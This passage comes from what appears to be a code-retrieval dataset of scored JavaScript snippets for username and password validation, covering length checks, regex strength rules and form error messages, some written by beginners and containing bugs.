passwordLengthIsLong = false;\n // Set password length status when good\n if( passwordLength >= passwordLengthMin && passwordLength <= passwordLengthMax ) {\n passwordLengthIsGood = true;\n passwordLengthIsShort = false;\n passwordLengthIsLong = false;\n } \n // Set password length status when short\n if( passwordLength < passwordLengthMin ) {\n passwordLengthIsGood = false;\n passwordLengthIsShort = true;\n passwordLengthIsLong = false;\n }\n // Set password length status when long\n if( passwordLength > passwordLengthMax ) {\n passwordLengthIsGood = false;\n passwordLengthIsShort = false;\n passwordLengthIsLong = true;\n } \n\n // Validation Array of Objects for each Check\n const checklistArr = [\n {\n check: hasCharDigit,\n target: digitsmin\n },\n {\n check: hasCharSpecial,\n target:specialcharmin\n },\n {\n check: hasCharLowercase,\n target: lowercasemin\n },\n {\n check: hasCharUppercase,\n target: uppercasemin\n }\n ];\n\n\n // Add classes if input has text\n if( passwordLength > 0 ) {\n // Checks for digits, lowercase, uppercase, and specialchar to be true\n checklistArr.forEach( obj => {\n if( obj.check ) {\n if( obj.target === digitsmin || obj.target === lowercasemin ) {\n obj.target.classList.add('pass');\n } else {\n obj.target.classList.add('pass-even');\n }\n } else {\n obj.target.classList.remove('pass');\n obj.target.classList.remove('pass-even');\n }\n });\n // Remove Classes if input has no text\n } else {\n checklistArr.forEach( obj => {\n obj.target.classList.remove('pass');\n obj.target.classList.remove('pass-even');\n });\n } \n\n // Validate length\n if( passwordLength === 0 ) {\n charsmin.classList.remove('pass');\n charsmax.classList.remove('pass-even');\n } else if( passwordLength >= passwordLengthMin ) {\n charsmin.classList.add('pass')\n } else if( passwordLength > 0 ) {\n charsmax.classList.add('pass-even')\n } \n \n // Remove max if greater than max chars allowed\n if( passwordLengthIsGood ) {\n charsmax.classList.add('pass-even');\n } else {\n charsmax.classList.remove('pass-even');\n }\n\n \n // Display number of digits for user to see count\n if( passwordLength === 0 ) {\n pwlength.style.color = 'white';\n } else if( passwordLengthIsShort ) {\n pwlength.style.color = 'var(--warning)';\n pwlength.innerHTML = `-${passwordLengthDiffShort}`;\n } else if( passwordLengthIsGood ) {\n pwlength.style.color = 'var(--pass)';\n pwlength.innerHTML = `${passwordLength}`;\n } else if( passwordLengthIsLong ) {\n pwlength.style.color = 'var(--warning)';\n pwlength.innerHTML = `+${passwordLengthDiffLong}`;\n } else {\n pwlength.style.color = 'var(--primary)';\n }\n\n}", "title": "" }, { "docid": "bed1e525a889e951aca5f42571b69b83", "score": "0.75078416", "text": "function fnIsValidPassword(a_strString)\r\r\n{\r\r\n a_strString = fnTrim(a_strString);\r\r\n if(a_strString.indexOf(\" \") != -1)\r\r\n return false;\r\r\n if(a_strString.indexOf(\"'\") != -1)\r\r\n return false;\r\r\n if(a_strString.indexOf(\"\\\"\") != -1)\r\r\n return false;\r\r\n if(a_strString.indexOf(\"?\") != -1)\r\r\n return false;\r\r\n if(a_strString.indexOf(\"&\") != -1)\r\r\n return false;\r\r\n\r\r\n return true;\r\r\n\r\r\n}", "title": "" }, { "docid": "f99a7ba4ddaea2d6bb33e513ceaaf2b4", "score": "0.74513924", "text": "function inputValidation() {\n let res = false;\n\n // username must be 3-16 characters\n let usernameRegex = /^[a-z0-9_-]{3,16}$/;\n // Password, 6-20 char and must have a number and a special character\n //let passwordRegex = /^(?=.*[0-9])(?=.*[!@#$%^&*])[a-zA-Z0-9!@#$%^&*]{6,20}$/;\n let passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{6,20}$/;\n\n if (usernameRegex.test(userName) && passwordRegex.test(passWord)) {\n res = true;\n }\n\n return res;\n }", "title": "" }, { "docid": "2d1fa186c9fe6394d706715ed961f1a7", "score": "0.73998153", "text": "isPassword(stringToValidate){\n var regularExpression = /^(?=.*[A-Za-z])(?=.*\\d)[A-Za-z\\d]{8,}$/;\n return regularExpression.test(stringToValidate);\n }", "title": "" }, { "docid": "8ed0bd4b0c1262b049ca4d00c1545e2f", "score": "0.7375762", "text": "function areValidCredentials(name, password) {\n if (typeof name !== 'string' || typeof password !== 'string'){\n return false;\n }\n if (name === undefined || password === undefined){\n return false;\n }\n if (name.length > 3 && password.length >= 8){\n return true;\n }\n else {\n return false;\n }\n}", "title": "" }, { "docid": "fa51f3f4307ccfe2af14b878f0bc6bc2", "score": "0.736014", "text": "function isPassLength(str) {\n var passLength = str.length >= 6;\n if (passLength) {\n return { valid: true};\n } else {\n return {\n valid: false,\n reason: \"Password is not at least 6 characters.\"\n };\n };\n }", "title": "" }, { "docid": "d65bca5e05611cb54921f56a70ae6754", "score": "0.7351647", "text": "function isValidPassword (password, username) {\n if (password.length < 8) {\n return false\n }\n if (password.indexOf(' ') !== -1) {\n return false\n }\n if (password.indexOf(username) !== -1) {\n return false\n }\n return true\n}", "title": "" }, { "docid": "d7aa3aa9374e1b60e1d68d49a7323fd3", "score": "0.7349609", "text": "function isValidPassword() {\n var pattern = /^(a-zA-Z0-9){6,32}$/;\n\n}", "title": "" }, { "docid": "68831be59f8a04b5f0e9b8572f514dda", "score": "0.7346258", "text": "function isValidPassword(string) {\n return string.length > 8 && !string.includes('password')\n}", "title": "" }, { "docid": "f82fad82c5a839b80b498e2f39204344", "score": "0.73449516", "text": "function validatePassword(field) {\n\t\tif (field == \"\") return \"No Password was entered.\\n\"\n\t\telse if (field.length < 6)\n\t\t\treturn \"Password must be at least 6 characters.\\n\"\n\t\telse if (!/[a-z]/.test(field) || !/[A-Z]/.test(field) || !/[0-9]/.test(field))\n\t\t\treturn \"Password require one each of a-z, A-Z,0-9.\\n\"\n\t\treturn \"\"\n\t}", "title": "" }, { "docid": "034999d95ed1963c4fb9b9a3d04a33b5", "score": "0.7342755", "text": "function validate(password) {\n return /^(?=\\w{6,})(?=.*\\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]*$/.test(password);\n}", "title": "" }, { "docid": "839ab7a627756686b0736f75e60b1dbb", "score": "0.73210424", "text": "function validate(password) {\n //https://regexr.com/ is super useful for creating regex\n //at least 6 chracters regex = /\\w{6,}/g\n let checkLength = /\\w{6,}/g;\n let checkSpecial = /[\\W]/g;\n let checkLower = /[a-z]/g;\n let checkUpper = /[A-Z]/g;\n let checkNum = /[0-9]/g\n let res = password.match(checkLength) ? password.match(checkLower) ? password.match(checkUpper) ? password.match(checkNum) ? password.match(checkSpecial) ? false : true : false : false : false: false;\n\n\n return res;\n}", "title": "" }, { "docid": "f0d7c0a03bdf5eb46cd2f7d93065e515", "score": "0.7317434", "text": "function valid(Uname, pass) {\n\n if (Uname.length === 0 || Uname.length > 20 || pass.length === 0 || pass.length > 32) {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "ef4fb681f5339fc9960c04553c3e1047", "score": "0.73062867", "text": "function checkUsername(){\n\tif(username.value.length < 4){\n\t\tshowError(username,`should be min length 4`);\n\t}else if(username.value.length > 20){\n\t\tshowError(username,`cannot be more than 20`);\n\t}else\n\tshowSuccess(username);\n}", "title": "" }, { "docid": "991acb03012b05471f547850a18dfe22", "score": "0.729639", "text": "function isPassword(s)\n{ \n\tif(isAlphanumeric(s))\n\t{\n\t\tif(s.length>=6)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}\n\telse\n\t\treturn false;\n}", "title": "" }, { "docid": "68e68a1aaffda44bd201003b2c0ac2b0", "score": "0.7295426", "text": "function checkUsername(x){\n var username = $(x).val();\n if (username.length < 5){\n return 'User name must be at least 5 characters long';\n } else if (!/^[A-Za-z0-9_]+$/.test(username)){\n return 'Bad user name. Valid charcters: Letters, numbers, and _';\n } else if (username.length > 64){\n return 'User name may not be more than 64 characters long';\n }\n}", "title": "" }, { "docid": "7529ae7b637224dbcf6d70e5762d4d14", "score": "0.7290524", "text": "function checkPassword(value) {\n\t\treturn value.length >= 8 && /^(?=.*?[A-Z])(?=.*?[a-z])(?=.*?[0-9])(?=.*?[#?!@$%^&*-]).*$/.test(value);\n\t}", "title": "" }, { "docid": "5d4f709a07905b731fba89ffbe1b514c", "score": "0.7277441", "text": "function validCredentials(username, password){\n\tif(username.length >= 5 && password.length >= 5){\n\t\treturn 'Your Username and Password is long enough!';\n\t} else {\n\t\treturn 'Your password and username must be five characters or more buddy!';\n\t}\n}", "title": "" }, { "docid": "029d6be99597e2aacd88c6bfb5619aa2", "score": "0.7276559", "text": "function isValidPassword(username, password) {\n\t// Converting to lowercase to equalize both arguments.\n\tusername = username.toLowerCase();\n\tpassword = password.toLowerCase();\n\t// Checking that the password doesn't contain the username or spaces, and that it's length is at least 8 characters\n\treturn !(password.includes(username) || password.includes(' ') || password.length < 8);\n}", "title": "" }, { "docid": "88db53ef5fef0b17ab3776da02216b37", "score": "0.72690153", "text": "validateForm() {\n const { username, password } = this.props;\n\n /**\n * Checks a single string's validity.\n * @param {string} value Value to check\n */\n function isValid(value) {\n const MINLENGTH = 4;\n const MAXLENGTH = 20;\n\n return value.length <= MAXLENGTH && value.length >= MINLENGTH;\n }\n return validateEmail(username) && isValid(password);\n }", "title": "" }, { "docid": "dcfbb8e3f83ba09f37e1418c2f612615", "score": "0.7267133", "text": "function validation_validateUsername(username)\r\n{\r\n\t\r\n\tif(username.length>4)\r\n\t{\r\n\t\treturn true;\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n\t\r\n}", "title": "" }, { "docid": "59fc708e0f9d686e69992bb356dbb007", "score": "0.72665507", "text": "function validateLogin(loginform)\r\n{\r\n var uname = loginform.uname.value;\r\n var password = loginform.password.value;\r\n var password_reg = /(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).{8,}/;\r\n if(uname.length < 8)\r\n {\r\n alert(\"Username Should Have Atleast 8 Characters!\");\r\n return false;\r\n }\r\n if(password_reg.test(password) == false)\r\n {\r\n alert(\"Password Should Contain Atleast 8 Characters, 1 Number, 1 Lower Case Letter and 1 Upper Case Letter!\");\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "f250c90fcc17e68c8eb6fcb29f53be94", "score": "0.72370964", "text": "function checkUserName(x) {\n let username = document.getElementById(\"usertext\").value;\n if (\n username == null ||\n (username.length < 8 && username.length > 15) ||\n username.indexOf(\" \") != -1\n ) {\n alert(\"invalid username\");\n return false;\n } else return true;\n}", "title": "" }, { "docid": "e9bfc951a81a27a7fa29f62bb3142161", "score": "0.72323966", "text": "function validatePassword(input, str){\n\t\tif ( str.match(/^(?=.*\\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[a-zA-Z]).{8,16}$/g) ) {\n\t\t\t$(input).addClass('is-valid')\n\t\t\t$(input).removeClass('is-invalid')\n\n\t\t\treturn true\n\t\t} else {\n\t\t\t$(input).addClass('is-invalid')\n\t\t\t$(input).removeClass('is-valid')\n\t\t\t\n\t\t\treturn false\n\t\t}\n\t}", "title": "" }, { "docid": "8a1ad0109445e55e1e146d3aba606dc3", "score": "0.7229931", "text": "function checkUserName(username){\n function check_spaces(username){\n for(var i=0;i<username.length;i++){\n if (username[i]==\" \"){\n return false\n }\n }\n return true\n }\n function special_characters(username){\n for(var c=0;c<username.length;c++){\n if ((username[c]<='Z' && username[c]>='A') || (username[c]<'z' && usernmae[c]>='a')){\n continue; \n }\n return false\n }\n return true\n​\n }\n result1=check_spaces(username)\n result2=special_characters(username)\n \n if (username.length>=8 && username.length<=15 && result1 && result2){\n return true\n }\n else{\n return false\n }\n}", "title": "" }, { "docid": "daccd06fe9ddc37f2d8f6498a991f00a", "score": "0.72207737", "text": "function validateUsername(username){\n let validUsername = /^[a-zA-Z0-9]{5,20}$/;\n return validUsername.test(username);\n}", "title": "" }, { "docid": "41edfbb879d0703feb87df2e23d5f9a0", "score": "0.72128683", "text": "function passwordIsValid(pw) {\n return pw.length > 7 && pw.match(/^[-a-zA-Z0-9_!@#$%^&*+=)(]+$/) !== null;\n}", "title": "" }, { "docid": "786037582bb069a850b007ec4a2ab8ed", "score": "0.7195557", "text": "function valid_username(username) { \n var alphanum = /^[A-Za-z][A-Za-z0-9]*$/;\n if (username.match(alphanum) && username.length < 9) { \n // if (username == \"admin\") {\n // return false;\n // }\n return true; \n }\n else { \n return false;\n } \n}", "title": "" }, { "docid": "3d3fc520d90c83ff3c50945559501796", "score": "0.71887994", "text": "function validateUserName(uName){\n if(uName.length == 10)\n {\n \treturn true;\n }\n else\n {\n \treturn false;\n }\n}", "title": "" }, { "docid": "afca0710db4ace620f2d50449d9a6e07", "score": "0.717289", "text": "function isValidPass(s) {\n const re = /[a-z]\\d|\\d[a-z]/i;\n return re.test(s) && s.length > 3;\n }", "title": "" }, { "docid": "afca0710db4ace620f2d50449d9a6e07", "score": "0.717289", "text": "function isValidPass(s) {\n const re = /[a-z]\\d|\\d[a-z]/i;\n return re.test(s) && s.length > 3;\n }", "title": "" }, { "docid": "0cadd1a6006835fa2b655956f6647fa3", "score": "0.716704", "text": "function validPass(password) {\n\tif (password.length > 3 && password.length < 20) {\n\t\tlet regex1 = /[a-z]/gi;\n\t\tlet regex2 = /[0-9]/gi;\n\t\tlet regex3 = /[-!$%^&*()_+|~=`{}\\[\\]:\";'<>?,.\\/]/gi;\n\t\tif (regex3.test(password)) {\n\t\t\treturn 'INVALID';\n\t\t} else {\n\t\t\tlet result = regex1.test(password) && regex2.test(password);\n\t\t\tconsole.log(result);\n\t\t\treturn result ? 'VALID' : 'INVALID';\n\t\t}\n\t} else {\n\t\treturn 'INVALID';\n\t}\n}", "title": "" }, { "docid": "a4c54266585c2f7e308654096a928c14", "score": "0.7165405", "text": "function CodelandUsernameValidation(str) {\n const regex = /[a-zA-Z]/g;\n const regex2 = /[a-zA-Z0-9_]/g;\n\n if (\n str.length > 4 &&\n str.length < 25 &&\n str[str.length - 1] !== '_' &&\n regex.test(str[0]) &&\n regex2.test(str)\n )\n return true;\n\n return false;\n}", "title": "" }, { "docid": "b4c51e6f27c14e04a1192a6d4445cb69", "score": "0.71533114", "text": "function checkUserName(username) {\n if (username.length < 6) {\n return \"Username too short, must be in between 6 and 31 characters\";\n }\n else if (username.length > 31) {\n return \"Username too long, must be in between 6 and 31 characters\";\n }\n let regex = '[a-zA-Z0-9_]';\n let found = username.match(regex);\n if (found) {\n return \"valid\";\n }\n else {\n return \"Username can only contain alphanumeric characters and _\";\n }\n}", "title": "" }, { "docid": "e709190a7da3c2a6473fb927210aae57", "score": "0.71259254", "text": "function usernamevalid()\r\n{\r\n var username = document.querySelector(\"#usernamef2\").value;\r\n var notlongenough = \"<p> - Username must be at least 6 characters long </p>\";\r\n var usernamelong = username.length;\r\n\r\n if (usernamelong < 6)\r\n {\r\n printErrors(notlongenough);\r\n return false;\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "28e1babed8522b56901486e28e84dc59", "score": "0.7109559", "text": "function passValidate(password) {\n var errMsg = \"\";\n if(!RegExp(/^[a-zA-Z0-9!@#$%^&*]*$/).test(password)) {\n errMsg += \"Password can only contain alphanumberic characters or !@#$%^&*<br>\";\n }\n if(!RegExp(/^.{8,20}$/).test(password)) {\n errMsg += \"Password must be between 8 - 20 characters\";\n }\n return errMsg;\n}", "title": "" }, { "docid": "447d7cf1e4fbd7bbb3f5032d63f12f60", "score": "0.71027017", "text": "function isValidUsername(username) {\n if (typeof username !== 'string') {\n return false;\n }\n\n if (username.length < 1) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "791cdaea0b54e13bb3d06cd27238d79c", "score": "0.70897835", "text": "function checkPassword(){\r\n var passwordLength = $('#password').val().length;\r\n var passwordLength = $('#firstname').val().length;\r\n if (passwordLength >= 6 && passwordLength <=15){\r\n $('#passwordError').text(' ');\r\n } else {\r\n $('#passwordError').text('Password length at least 8 character');\r\n }\r\n}", "title": "" }, { "docid": "727be3469628b905f75c07cd83caee34", "score": "0.70657307", "text": "function validatePassword()\n{\n\tvar Pass=document.getElementById(\"upassword\").value;\n\tif(Pass.length==0)\n\t{\n\t\tproducePrompt(\"at least one numeric digit, one uppercase, and one lowercase letter and between 6-8\",\"passwordPrompt\",\"red\");\n\t\treturn false;\n\t\t\n\t}\n\tif(!Pass.match(/^(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).{6,8}$/))\n\t\t{\n\t\t\tproducePrompt(\"error\",\"passwordPrompt\",\"red\");\n\t\t\treturn false;\n\t\t\t\n\t\t}\n\t\tproducePrompt(\"correct\",\"passwordPrompt\",\"green\");\n\t\treturn true;\n}", "title": "" }, { "docid": "f09e047a111223acfe88980ca806c458", "score": "0.70650834", "text": "function SimplePassword(str) {\n const regex = /[A-Z]/g;\n const regex2 = /[\\.,\\!\\=\\+]/g;\n const regexPW = /password/g;\n const regexDigit = /\\d/g;\n if (\n str.length > 7 &&\n str.length < 31 &&\n regex2.test(str) &&\n regex.test(str) &&\n regexDigit.test(str) &&\n !regexPW.test(str.toLowerCase())\n )\n return true;\n\n return false;\n}", "title": "" }, { "docid": "04cca1e7ba63433b4c4a5e8d95476edc", "score": "0.705624", "text": "function controllaUsername(){\n var use=$(\"#username\").val().length;\n var us = $(\"#username\").val();\n var re = /^[a-z0-9]+$/i;\n if (!re.test(us) || use>20 || use<3) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "d91421a8d79d0673ad29501241498ab3", "score": "0.70533174", "text": "validatePassword () {\n var password = this.state.password\n var valid = false\n if (validator.matches(password, /\\d/) &&\n validator.matches(password, /[a-z]/) &&\n validator.matches(password, /[A-Z]/) &&\n password.length >= 6) {\n valid = true\n }\n return valid\n }", "title": "" }, { "docid": "d94d4745be28ce5a7fcbdea41feade07", "score": "0.7052647", "text": "function validatePassword(psw){\n var re = /(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).{6,}/;\n return re.test(psw);\n}", "title": "" }, { "docid": "d02ed666a4f7b5c43e18fea1c2bd87d7", "score": "0.7036478", "text": "validate(value){\n if(value.toLowerCase().includes(\"password\")) //password can'nt contain word \"password\"\n {\n throw new Error(\"password can'nt contain the word 'password'\")\n }\n }", "title": "" }, { "docid": "f8f560cad0ac2fdf56ee24c9b5fcc957", "score": "0.70328844", "text": "function validateForm() {\n return user.userName.length > 0 && user.password.length > 0;\n }", "title": "" }, { "docid": "fc48be25cc33a25915dfdea88e6c978a", "score": "0.7030241", "text": "function isValidPassword(objControl) {\r\n var password = objControl.value.trim();\r\n var pass = /^(?=.*\\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[^a-zA-Z0-9])(?!.*\\s).{8,16}$/; \r\n\tif (!IsEmptyUserInput(objControl)) {\r\n if (password.match(pass)) \r\n return true;\r\n }\r\n return false;\r\n}", "title": "" }, { "docid": "1733d308961038e2e22ea077755f7e12", "score": "0.7027422", "text": "function is_password_valid(password){\r\n let regex_2 = /^[A-Z]{1,5}[a-z@]{1,15}[@]{1,15}[a-zA-Z@#$%]{1,10}[0-9]{1,10}[@#$%^&]{1,10}[a-zA-Z0-9@#$%^]{1,10}/gm;\r\n return regex_2.test(password);\r\n}", "title": "" }, { "docid": "f641ceb76cb6b41d7e6412a472a62d46", "score": "0.70265776", "text": "isUserPasswordInvalid() {\n const { username, password } = this.state;\n return (!username || !password || username.length < 3 || password.length < 6 || username.indexOf( \"@\" ) < 0 || username.indexOf( \".\" ) < 0 );\n }", "title": "" }, { "docid": "a9a11dff5086aa58005387d75edc1607", "score": "0.7020149", "text": "function isValidPassword(password) {\n return password.length > 8 && !password.includes(\"password\");\n}", "title": "" }, { "docid": "54438ecb62193967688b1c341beedb05", "score": "0.70179373", "text": "function passwordValidator(password) {\n // returns true if is a valid password\n // otherwise returns false\n}", "title": "" }, { "docid": "3cc7bdf2828508a29205e7c5e94b3182", "score": "0.7015514", "text": "function isGoodPassword(password) {\n return password.length >= 8;\n}", "title": "" }, { "docid": "6e247507db806e9b72ee8ab225487a56", "score": "0.7012722", "text": "function nameCheck(str) {\n var regex = /^[a-zA-Z]+ [a-zA-Z]*$/;\n var regex1 = /^[a-zA-Z]*$/;\n\t\n\tif(str.length > 50){\n\t\treturn false;\n\t\t}\n\t\t\n if (regex.test(str) || regex1.test(str)) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "a65135e652be61f5f4f8d31ad79854de", "score": "0.6994169", "text": "function usernameIsValid(name) {\n return name.length > 1 && name.match(/^[a-zA-Z]+[a-zA-Z_]*$/) !== null;\n}", "title": "" }, { "docid": "2c380aeac388be57cf787cc5d002bb4c", "score": "0.6979844", "text": "function checkPasswordChars(password){\n var points = 0;\n var valid = false;\n\n // Validate lowercase letters\n var lowerCaseLetters = /[a-z]/g;\n if(password.match(lowerCaseLetters)) { \n points += 1;\n }\n\n // Validate capital letters\n var upperCaseLetters = /[A-Z]/g;\n if(password.match(upperCaseLetters)) { \n points += 1;\n }\n\n // Validate numbers\n var numbers = /[0-9]/g;\n if(password.match(numbers)) { \n points += 1;\n }\n\n // Validate length\n if(password.length >= 8) {\n points += 1;\n }\n\n // if points = 4 return true\n if(points == 4){\n valid = true;\n }\n \n return valid;\n }", "title": "" }, { "docid": "dc9d818976838b9b63f332da102af269", "score": "0.6979307", "text": "passwordStrength(pass) {\n let hasUpperCase = /[A-Z]/.test(pass)\n let hasLowerCase = /[a-z]/.test(pass)\n let hasNumbers = /\\d/.test(pass)\n if (pass.length >= 8 && pass.length <= 20 && hasUpperCase && hasLowerCase && hasNumbers) {\n return true\n } else {\n return false\n }\n }", "title": "" }, { "docid": "1f16a5191ea167b9dcd1ec00ad8c63b9", "score": "0.6964817", "text": "function passwordLength(minLength) {\n var userPassword = $.trim($(\"#password\").val());\n var userPasswordLength = userPassword.length;\n var repeatUserPassword = $.trim($(\"#repeat-password\").val());\n var repeatUserPasswordLength = repeatUserPassword.length;\n return ( userPasswordLength >= minLength && repeatUserPasswordLength >= minLength ) && ( userPassword == repeatUserPassword );\n}", "title": "" }, { "docid": "407b235c72b8d5e1b6d67f99a7312af3", "score": "0.6962253", "text": "function validatePassword() {\n // New pattern for passwords\n // lowercase, uppercase, digit, special char. and length:8-15\n var passwordPattern = new RegExp(\n \"^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[-_=+!@#$%^&*()]).{8,15}$\"\n );\n // Return its comparision result and show the errors\n if (passwordPattern.test(password.value)) {\n return true;\n } else {\n alert(\n \"Password doesn't fit the pattern. At least 1 lowercase, 1 uppercase, 1 number and one special character.\"\n );\n passwordError.innerHTML(\n \"Password doesn't fit the pattern. At least 1 lowercase, 1 uppercase, 1 number and one special character.\"\n );\n return false;\n }\n}", "title": "" }, { "docid": "885917333fcfb4602be0ff06b45b64ca", "score": "0.69604826", "text": "isNameValid(name) {\n let workString = name;\n let regExpOnlySpaces = /\\S/;\n \n if(!workString.match(regExpOnlySpaces)){\n return false;\n }\n if(workString.length > 15 || workString.length < 5){\n return false;\n }\n \n return true;\n \n }", "title": "" }, { "docid": "3ef043ab0bb6f65efa80b0bb9ff384a4", "score": "0.6952423", "text": "function isPassword(s)\n{ \n\tif(isText(s))\n\t{\n\t\tif(s.length>=6)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}\n\telse\n\t\treturn false;\n}", "title": "" }, { "docid": "bd68c4dd48cc9b3bbd1ba7909d52f631", "score": "0.69503856", "text": "function is_username_valid(username){\n\n // first checking for null input\n if(username == \"\"){\n\n alert(\"Please provide your username!\");\n return false;\n }else{\n\n // checking if the username contains at least 2 characters\n if(strlen(username) > 1){\n\n // checking if the username is valid or not\n for(var i=0; i<username.length; i++){\n\n if((username[i] >= 'A' && username[i] <= 'Z') || (username[i] >= 'a' && username[i] <= 'z') ||\n (username[i] >= 0 && username[i] <= 9) || (username[i] == \".\") || (username[i] == \"-\")\n || (username[i] == \" \")){\n\n return true;\n }else{\n\n alert(\"Username can contain only alpha numeric characters, period(.), dash(-) or underscore(_) only.\");\n return false;\n }\n }\n }else{\n\n alert(\"Username should be atleast 2 characters.\");\n return false;\n }\n }\n}", "title": "" }, { "docid": "64f9eb396145048827f5a50e435e1115", "score": "0.6947992", "text": "function validateUsername() {\n // New pattern for names\n var usernamePattern = new RegExp(\"^([-_!&*()']*[a-zA-Z0-9]+[-_!&*()']*)+$\");\n // Return its comparision result and show the errors\n if (usernamePattern.test(username.value)) {\n return true;\n } else {\n alert(\"Username invalid! Please just use letters, numbers and -_!&*()'\");\n usernameError.innerHTML(\"Please just use letters, numbers and -_!&*()'\");\n return false;\n }\n}", "title": "" }, { "docid": "b62d158a5b034df04cb5588279e38775", "score": "0.69440657", "text": "function CheckPassword(inputtxt) {\n let regExPass = /^(?=.*\\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[^a-zA-Z0-9])(?!.*\\s).{6,15}$/;\n if (regExPass.test(inputtxt.value)) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "9c7bc859401da65d1e41d27d14cd46c1", "score": "0.69315815", "text": "validateName(string) {\n\n return string.trim().length > 3;\n }", "title": "" }, { "docid": "07107f18f46c8774b58e558413cdcccf", "score": "0.6928585", "text": "function passwordValid(input) {\n let oneUpper = false;\n let oneLower = false;\n let oneNumber = false;\n for (i = 0; i < input.length; i++) {\n if (input[i] >= '0' && input[i] <= '9') {\n oneNumber = true;\n } else if (input[i] >= 'A' && input[i] <= 'Z') {\n oneUpper = true;\n } else if (input[i] >= 'a' && input[i] <= 'z') {\n oneLower = true;\n }\n }\n return (oneUpper && oneLower && oneNumber);\n }", "title": "" }, { "docid": "b299405bba5b069d5fc3e7dfcaff91a7", "score": "0.69119066", "text": "function validateUserName()\n{\n\tvar phone=document.getElementById(\"username\").value;\n\tvar regex = /^(?:[A-Za-z]\\w{5,8})$/;\n\tif((phone.length < 5) || (phone.length > 8))\n\t{\n\t\tproducePrompt(\"min 5 and max 8 characters required\",\"usernamePrompt\",\"red\");\n\t\treturn false;\n\t}\n\tif(phone.length==0)\n\t{\n\t\tproducePrompt(\"username is required\",\"usernamePrompt\",\"red\");\n\t\treturn false;\n\t\t\n\t}\n\tif(!phone.match(regex))\n\t\t{\n\t\t\tproducePrompt(\"enter a valid username\",\"usernamePrompt\",\"red\");\n\t\t\treturn false;\n\t\t\t\n\t\t}\n\t\tproducePrompt(\"valid username\",\"usernamePrompt\",\"green\");\n\t\treturn true;\n}", "title": "" }, { "docid": "f1bf02359afbfba0bf68621dd9e36f41", "score": "0.6908134", "text": "function checkUserName(uname, mx, my) {\n var uid_name=uname.value.length\n if(uid_name==0)\n {\n alert(\"Username should not be empty/ length be between \" + mx + \" to \" + my)\n\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "ac49f58422e87f7eeca1d69ae4267360", "score": "0.6897591", "text": "function is_password_valid(password){\n\n // first checking for null input\n if(password == \"\"){\n\n alert(\"Please provide your password!\");\n return false;\n }else{\n\n // checking for 8 characters password\n if(strlen(password) >= 8){\n\n // checking if the password contains a special character or not\n if(password.search(\"@\") || password.search(\"#\") || password.search(\"$\") || password.search(\"%\")){\n\n return true;\n }else {\n\n alert(\"Password must contain atleas 1 special characters.\");\n return false;\n }\n }else{\n\n alert(\"Password should be atleast 8 characters.\");\n return false;\n }\n }\n}", "title": "" }, { "docid": "e45a60f7b8bbfc666dfc25c72daaf471", "score": "0.6895045", "text": "function password(pass){\n\n if( !typeof string){\n\n console.log('Password must be a string');\n\n }else if (parseInt(pass[0])){\n\n console.log('Password must start with a letter');\n\n }else if (pass.length < 5 || pass.length > 20){\n\n console.log('Password must be between 6 and 20 characters long');\n\n }else if(pass[0] = [\"!\",\"@\",\"#\",\"$\",\"%\",\"^\",\"&\",\"*\",\"(\",\")\",\"_\",\"-\",\"+\",\"=\",\",\",\"\\\"\",\":\",\";\",\"<\",\">\",\"?\",\"/\",\"|\",\"|\",\".\", ]){\n console.log('Password can not start with a symbol');\n \n } else {\n console.log('Password accepted!');\n }\n\n}", "title": "" }, { "docid": "1a7506201d656e6f94fc877c3ab00c13", "score": "0.6894525", "text": "function isValidPassword(inputElm, errMsg, errElm) {\r\n var isValid = (inputElm.value.trim().match(/^\\w{6,8}$/) !== null);\r\n postValidate(isValid, errMsg, errElm, inputElm);\r\n return isValid;\r\n}", "title": "" }, { "docid": "6439309e9e3ab86566505e0a2c888d44", "score": "0.687912", "text": "function checkPassword() {\n // var returnvalue = true;\n // clearerror();\n var pass = document.getElementById('pass').value;\n cond = /^[A-Za-z]\\w{7,11}$/;\n if (pass == \"\") {\n document.getElementById(\"passerr\").innerHTML = \"* password compulsary!! with 8-12 characters and should contain only aplhanumeric values\";\n\n } else if (pass.match(cond)) {\n document.getElementById(\"passerr\").innerHTML = \"\";\n } else {\n\n\n }\n\n}", "title": "" }, { "docid": "1e2ec58f53ee7fab51f887848c391e2c", "score": "0.6877568", "text": "function valida_username(){\n var input = document.getElementById('username').value;\n //var patt = new RegExp(\"/^[A-Za-z0-9_-]$/\"); //{5,18}\n var sol = /^[A-Za-z0-9_-]+$/.test(input);\n if(!sol){\n document.getElementById('username_err').innerHTML = \"Username non valido. Caratteri ammessi lettere, numeri, trattino e underscore.\";\n return false;\n }\n else{\n var n = input.length;\n if(n==0){\n document.getElementById('username_err').innerHTML = \"Username obbligatorio\";\n return false;\n }\n else if(n > 18){\n document.getElementById('username_err').innerHTML = \"Username al massimo di 18 caratteri\";// NON QUI!!!!!\n return false;\n }\n else if(n < 5){\n document.getElementById('username_err').innerHTML = \"Username minimo di 5 caratteri\";\n return false;\n }\n else{\n document.getElementById('username_err').innerHTML = '';\n return true;\n }\n }\n}", "title": "" }, { "docid": "a3623a339087096b886248ef52162b06", "score": "0.6877313", "text": "function validaPass(pass) {\n if(pass == null || pass.length < 8)\n return false;\n else\n return true;\n}", "title": "" }, { "docid": "a1cc63d84864e87202fc166f1c728ae0", "score": "0.6876534", "text": "function validatePass(password) { // checks if password has at least one letter, digit and special sign and is at least 8 characters long\n const 